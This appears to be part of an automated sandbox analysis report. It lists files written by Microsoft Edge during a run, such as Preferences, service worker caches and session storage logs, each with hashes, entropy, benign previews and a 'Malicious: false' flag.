SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.112425436387305
Encrypted:	false
SSDEEP:	192:stikdpdsR3Ia34Hkk8N8dbV+FI3QA4jq7NIOPZYJ:stiQdsR3XWbGEQxu7NIh
MD5:	745D1EA11D9F721B55146303C9829DCE
SHA1:	85EEAAFEB4887C19A44E3421FEA221E89D78AA4A
SHA-256:	3304CC467A9C8C7F70101D877D214153765278638CB6AE95C739FB953DEF8594
SHA-512:	63CB1DD95C09C22ADF16A9E1F0E98CA0CB2C466AE88F6EA8C1F948D97669FDC864A75E5C1FB8C43B044971DFBFF84F292B206304BED56E035D51B52575C31271
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376689114932940","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2efc5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.112425436387305
Encrypted:	false
SSDEEP:	192:stikdpdsR3Ia34Hkk8N8dbV+FI3QA4jq7NIOPZYJ:stiQdsR3XWbGEQxu7NIh
MD5:	745D1EA11D9F721B55146303C9829DCE
SHA1:	85EEAAFEB4887C19A44E3421FEA221E89D78AA4A
SHA-256:	3304CC467A9C8C7F70101D877D214153765278638CB6AE95C739FB953DEF8594
SHA-512:	63CB1DD95C09C22ADF16A9E1F0E98CA0CB2C466AE88F6EA8C1F948D97669FDC864A75E5C1FB8C43B044971DFBFF84F292B206304BED56E035D51B52575C31271
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376689114932940","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF32f1f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.112425436387305
Encrypted:	false
SSDEEP:	192:stikdpdsR3Ia34Hkk8N8dbV+FI3QA4jq7NIOPZYJ:stiQdsR3XWbGEQxu7NIh
MD5:	745D1EA11D9F721B55146303C9829DCE
SHA1:	85EEAAFEB4887C19A44E3421FEA221E89D78AA4A
SHA-256:	3304CC467A9C8C7F70101D877D214153765278638CB6AE95C739FB953DEF8594
SHA-512:	63CB1DD95C09C22ADF16A9E1F0E98CA0CB2C466AE88F6EA8C1F948D97669FDC864A75E5C1FB8C43B044971DFBFF84F292B206304BED56E035D51B52575C31271
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376689114932940","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3a45f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.112425436387305
Encrypted:	false
SSDEEP:	192:stikdpdsR3Ia34Hkk8N8dbV+FI3QA4jq7NIOPZYJ:stiQdsR3XWbGEQxu7NIh
MD5:	745D1EA11D9F721B55146303C9829DCE
SHA1:	85EEAAFEB4887C19A44E3421FEA221E89D78AA4A
SHA-256:	3304CC467A9C8C7F70101D877D214153765278638CB6AE95C739FB953DEF8594
SHA-512:	63CB1DD95C09C22ADF16A9E1F0E98CA0CB2C466AE88F6EA8C1F948D97669FDC864A75E5C1FB8C43B044971DFBFF84F292B206304BED56E035D51B52575C31271
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376689114932940","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.566871030585312
Encrypted:	false
SSDEEP:	768:cfjlC4WPHTfEOGn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVXGYtGrwGpDtuo:cfjlC4WPHTfDSu1ja2ttD+tD
MD5:	F64B3C604B354CEB1AAE82096CA459EE
SHA1:	DD387C75BA1EE4A5A5F77205974943D89A404CFC
SHA-256:	11AB642B29C838F9E8156F123131F6CB0A26DC1104D678693B61C37D7CE44E08
SHA-512:	1EAA9C71CB868952450F78B092A7EF201B742707963A665A93FD9D69E6174D732162DC1B75AE6AACB689AF6FAD4BCBD209A5B3E75843484A8675F2ECF569665F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376689114121341","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376689114121341","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2e584.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.566871030585312
Encrypted:	false
SSDEEP:	768:cfjlC4WPHTfEOGn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVXGYtGrwGpDtuo:cfjlC4WPHTfDSu1ja2ttD+tD
MD5:	F64B3C604B354CEB1AAE82096CA459EE
SHA1:	DD387C75BA1EE4A5A5F77205974943D89A404CFC
SHA-256:	11AB642B29C838F9E8156F123131F6CB0A26DC1104D678693B61C37D7CE44E08
SHA-512:	1EAA9C71CB868952450F78B092A7EF201B742707963A665A93FD9D69E6174D732162DC1B75AE6AACB689AF6FAD4BCBD209A5B3E75843484A8675F2ECF569665F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376689114121341","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376689114121341","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.83893790184619
Encrypted:	false
SSDEEP:	24:F2xc5NmCcncmo0CRORpllg2DvfRH4VdCRORpllg2C1xzkcycKCRORpllg2DKRH44:F2emrtrdDvfBGXrdsobrdDKBoGrdtBj
MD5:	43294A9AB9535C03E2CA31D353C77A7D
SHA1:	5A9EE365EC28299369AB32D3F9F18B696EA10DA7
SHA-256:	BC1D72720249FF813F836C30671FB4411FB8FF490C6DFD875F533ABE1459A7CF
SHA-512:	DA4CE59DC8D812E843A55D785D85B218F5E26344DB884BC165FAE4BE228A5CB62952905383243A2889050AF20A6EBD0F87383CF315650A8914EB385091C642E8
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2G.]<m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.194168790088178
Encrypted:	false
SSDEEP:	6:HEhfQJs1CHhJ23oH+TcwtE/a252KLlVEhfQEM+q2PCHhJ23oH+TcwtE/a2ZIFUv:khfQJgYeb8xLshfQEM+vBYeb8J2FUv
MD5:	6F90C10F415778C9F7496142D281F141
SHA1:	3784EA651AB1505797368C5E9B260965EB35C500
SHA-256:	1C2D978B3872125503658ABAE261D76CD8E1F9C88018FA0E2C9C3D7F1D8A1BF3
SHA-512:	FEFB1D51824E1FD791C857BA789FFCB7564ED8DDF710C1F99CC52AE973F6B471A22630598B08286F03E09835EEADB233676274721F6FF93AB9E58343D6A951DD
Malicious:	false
Preview:	2024/11/21-13:58:50.462 1a6c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/21-13:58:50.478 1a6c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114271
Entropy (8bit):	5.578190252531782
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKOQG+ZtEra:d9LyxPXfOxr1lMe1nL/CL/TXEmAZS2
MD5:	29728F708F4008DD9FD94CEDEB96DB57
SHA1:	F8F1E2CE0BD5BDB17C2CBAE757EEE593252642A0
SHA-256:	BB64717ABDEE21B5B64F9B5C133255EA2430409313C052939AE20C1EEB321ED4
SHA-512:	34E60822C15CA256C1FBEB62D296D8FF1E7E19FAC77106E351285029F9CA5C491DAFB950BC6D6CCAD335DDA38F47F8F18102FF049B2F8834BF902BC885D0108A
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188761
Entropy (8bit):	6.38740343374832
Encrypted:	false
SSDEEP:	3072:bp0/zTnTB+wPmo+ytL/GQMeID6fTFSBSwoO6D:2+wV+sL/nFPL+6
MD5:	6B2D0BA64262115B86114A350AE33863
SHA1:	F57FE6EDFD5EDBCFFC10A1BF56DAE405FC06E3E4
SHA-256:	BFB90EA1B591EBE17DA04F72B4CED543C4B582B6FDA530381213704696E556FC
SHA-512:	7BB35FDC6A64CE1526C9B98505AB4DB6DB1F4D0DA5AA8CE35F200709FC007C042F5401C50CD23FD068640F9645B01005F40A6A155114F5750B38C659F5A4F8E2
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;Z....x..........,T.8..`,.....L`.....,T...`......L`......Rc:.......exports...Rc..O....module....RcF..h....define....RbV.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....X...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:+4WFjXl/l5V/lxE0tllxa9ijKl:+4WFz80WA2l
MD5:	893B88C5317D1D10A96E579A9AA317ED
SHA1:	1EFDFD943C3C738711CAFCCF4A626673B4E1F4FB
SHA-256:	AB5AEB0F604D4823D28F0F6C7EFFF164D19E2284CD9FEE8688848DD1181E1E8C
SHA-512:	5EED81FFCD78EF8E1028825DCBFA4A17D7F2C8CD92F0734061E940D1C4FF5E65BB3036395D37454E4B75B888CE6B3A50097EAF581E8E67CD02C5EBF5E7FF957B
Malicious:	false
Preview:	@....3..oy retne.........................X....,...................#../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:+4WFjXl/l5V/lxE0tllxa9ijKl:+4WFz80WA2l
MD5:	893B88C5317D1D10A96E579A9AA317ED
SHA1:	1EFDFD943C3C738711CAFCCF4A626673B4E1F4FB
SHA-256:	AB5AEB0F604D4823D28F0F6C7EFFF164D19E2284CD9FEE8688848DD1181E1E8C
SHA-512:	5EED81FFCD78EF8E1028825DCBFA4A17D7F2C8CD92F0734061E940D1C4FF5E65BB3036395D37454E4B75B888CE6B3A50097EAF581E8E67CD02C5EBF5E7FF957B
Malicious:	false
Preview:	@....3..oy retne.........................X....,...................#../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF324ee.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:+4WFjXl/l5V/lxE0tllxa9ijKl:+4WFz80WA2l
MD5:	893B88C5317D1D10A96E579A9AA317ED
SHA1:	1EFDFD943C3C738711CAFCCF4A626673B4E1F4FB
SHA-256:	AB5AEB0F604D4823D28F0F6C7EFFF164D19E2284CD9FEE8688848DD1181E1E8C
SHA-512:	5EED81FFCD78EF8E1028825DCBFA4A17D7F2C8CD92F0734061E940D1C4FF5E65BB3036395D37454E4B75B888CE6B3A50097EAF581E8E67CD02C5EBF5E7FF957B
Malicious:	false
Preview:	@....3..oy retne.........................X....,...................#../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6241
Entropy (8bit):	3.3838123770014774
Encrypted:	false
SSDEEP:	192:Uc56Q46n7NccTf9Xp+Jgi+5SLl9iSrk33:UA6QLxccTf9Xp+eb5SLl9iSrc3
MD5:	6325C77A2DD6E6098F5E9B0F9D36AC19
SHA1:	4671F52AC10D534FB3D62776304E3421A18D06D4
SHA-256:	C4794836C0419750C8D84F6725856D6C3FB414ECEE7EA820712F9D462365F285
SHA-512:	898E2FA295A050B98F465D79EEC7CC573F3037151009E03B32E50CE70A20430F8E6FEFC39F32469BA888EE0BD2D728FCAF06CCE490F4BFBD184F13CB4DB4E15E
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................h!Pb................next-map-id.1.Cnamespace-24853a20_e2e4_44b6_bc1a_a34f70415738-https://ntp.msn.com/.0.....................map-0-shd_sweeper.-{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.1.s.-.d.w.v.i.d.h.e.r.o.-.c.t.r.,.p.r.g.-.1.s.w.-.s.a.-.u.i.e.s.r.c.t.v.2.t.4.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.3.g.,.p.r.g.-.1.s.w.-.m.s.n.b.l.u.e.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.p.r.g.-.1.s.w.-.m.e.b.c.8.2.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.n.t.f.1.-.r.d.i.d.2.a.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.-.n.t.f.1.-.r.d.i.d.2.,.1.s.-.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.192409269167011
Encrypted:	false
SSDEEP:	6:HEhfWgRjIq2PCHhJ23oH+TcwtrQMxIFUt8YEhfWhIZmw+YEhfWIXkwOCHhJ23oHs:khfhRMvBYebCFUt8/hf+I/+/hfzX56YM
MD5:	2A24B7C48002CBCD15626E881D76D22A
SHA1:	D23E44EBEBFA122A738DDD096269FFD13BF560E3
SHA-256:	320FCB1D972EF8D75D51D1E910E88311C37CC025344984A1D8533862AED22049
SHA-512:	5F8008A1BB5A994EA9D701F304D8075F9FDE41C1E4944310258A82A391CFE8787DC726958917DC54E3E0D6D0CA6CA62690D33288E9DDA9F4D4F7B02E7CDCDA31
Malicious:	false
Preview:	2024/11/21-13:58:35.117 1194 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/21-13:58:35.128 1194 Recovering log #3.2024/11/21-13:58:35.294 1194 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.192409269167011
Encrypted:	false
SSDEEP:	6:HEhfWgRjIq2PCHhJ23oH+TcwtrQMxIFUt8YEhfWhIZmw+YEhfWIXkwOCHhJ23oHs:khfhRMvBYebCFUt8/hf+I/+/hfzX56YM
MD5:	2A24B7C48002CBCD15626E881D76D22A
SHA1:	D23E44EBEBFA122A738DDD096269FFD13BF560E3
SHA-256:	320FCB1D972EF8D75D51D1E910E88311C37CC025344984A1D8533862AED22049
SHA-512:	5F8008A1BB5A994EA9D701F304D8075F9FDE41C1E4944310258A82A391CFE8787DC726958917DC54E3E0D6D0CA6CA62690D33288E9DDA9F4D4F7B02E7CDCDA31
Malicious:	false
Preview:	2024/11/21-13:58:35.117 1194 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/21-13:58:35.128 1194 Recovering log #3.2024/11/21-13:58:35.294 1194 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376689116597138

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8185227270976516
Encrypted:	false
SSDEEP:	24:3XPNpG8M8psAF4unxgtLp3X2amEtG1Chq999bsGn7QKkOAM4:3lA8M8zFuLp2FEkChM9BssUHOp
MD5:	694D50AD05BBFC31FAA748DFD0E031BE
SHA1:	F284FE737FD2D1A276A247B98C25B374BF46358C
SHA-256:	9D67E4C33167EF08D6659230DE28CD9F1FF954D6F5A8CE5980F41F1A298BD1F6
SHA-512:	BBE052323D2B5008375592F83E75F69039A3A1A813481DC58D3C985D6AC1DE35EF36E5DE7A259F4866F8158BC2BF40B26D30AECFC37BFD596BC5051601A88501
Malicious:	false
